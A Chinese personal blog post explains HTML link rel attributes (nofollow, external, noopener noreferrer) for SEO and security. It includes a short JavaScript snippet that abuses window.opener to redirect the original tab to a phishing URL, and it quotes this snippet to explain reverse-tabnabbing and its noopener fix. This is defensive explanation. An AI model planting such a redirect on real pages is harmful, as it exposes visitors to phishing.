子痕的生活志 子痕的生活志
  • 首页
  • 分类
    • 随笔
    • 读书
    • 游玩
    • 摄影
    • 网络
    • 数码
  • 关于
  • 归档
  • 书单
  • 友链
  • 留言
首页 › 网络 › 网页超链接的一些设置

网页超链接的一些设置

子痕
7 5 月, 2019网络
rel=’nofllow’

的作用,它是告诉搜索引擎,不要将该链接计入权重。

rel=’external’

此属性的意思是告诉搜索引擎,这个链接不是本站链接,其实作用相当于target=‘_blank’。

为什么要这样写呢?因为有些网站因为是采用严格的DOCTYPE声名的,如果你在网页源码中的第一行看到:在这种情况下target=”_blank”会失效,因此采用rel=’external’这个参数来替代。

 

rel=’external nofollow’

其实上面已经说过rel=’nofollow’ 和 rel=’external’ 两种属性的所代表的意思了。这个属性基本上是相当于将两种属性结合起来,大致可以解释为 “这个链接非本站链接,不要爬取也不要传递权重”。因此在SEO的角度来说,是一种绝对隔绝处理的方法,可以有效减少蜘蛛爬行的流失。

 

rel="nofollow noopener noreferrer"

超链接 target=”_blank” 要增加 rel="nofollow noopener noreferrer" 来堵住钓鱼安全漏洞。如果你在链接上使用 target=”_blank”属性,并且不加上rel=”noopener”属性,那么你就让用户暴露在一个非常简单的钓鱼攻击之下。

 

为了告知来自于不受保护的站点的用户,我们运行一个利用了这个缺陷的脚本。

if (window.opener) {
   window.opener.location = "https://dev.to/phishing?referrer="+document.referrer;
}

 

我相信绝大多数站点都没有恰当地处理这个问题,为了限制 window.opener的访问行为,原始页面需要在每个使用了target="_blank"的链接中加上一个rel="noopener"属性。

火狐不支持这个属性值,所以实际上你要用 rel=”noopener noreferrer”来完整覆盖。

https://blog.csdn.net/suiyuanIT/article/details/74625858
http://www.cnblogs.com/ilinuxer/p/5245983.html

赞赏
SSH命令
上一篇
七彩虹主板兼容机不能开机的解决方法
下一篇
再想想
所有评论(4)
  • 奶爸de笔记

    wordpress编辑器默认会添加这个rel=”noopener”属性。

    6 年前 回复
    • 子痕

      @奶爸de笔记: 我看了一下,确实是的。

      6 年前 回复
  • 云点

    都用默认的,没添加的习惯

    4 年前 回复
  • 谷歌优化

    当一种笔记来看

    3 年前 回复
近期文章
  • 阳谋怎么破?
  • 保友金豪e人体工学椅坏了
  • 救鱼和换电池
  • 2025新年好
  • “觉醒”的九大关
  • 人体工学椅
  • 求助给小朋友买个智能音箱
  • Fluent Reader——Windows端RSS阅读器推荐
  • 海信电视到家
  • 办理港澳通行证如此便捷
推荐
  • 搬瓦工VPS 速度快性价比高
  • 阿里云新人特惠专享
  • 腾讯云产品福利专区
Fluent Reader——Windows端RSS阅读器推荐
26 9 月, 2024
4
服务器部署新环境
6 1 月, 2024
18
网站备案成功
9 6 月, 2023
43
Twitter账号被冻结
14 1 月, 2023
38
4
  • 0
  • 4
关于本站

子痕的生活记录、摄影、数码、折腾,玩物。。。

导航
首页 关于 留言
整站导航
首页 关于 留言
Copyright © 2019-2025 子痕的生活志. Designed by nicetheme. 苏ICP备2023018222号-1 苏公网安备 32010202011386号
  • 首页
  • 分类
    • 随笔
    • 读书
    • 游玩
    • 摄影
    • 网络
    • 数码
  • 关于
  • 归档
  • 书单
  • 友链
  • 留言
# 育儿 # # CentOS # # 搬瓦工 # # 小神兽 # # Typecho #
子痕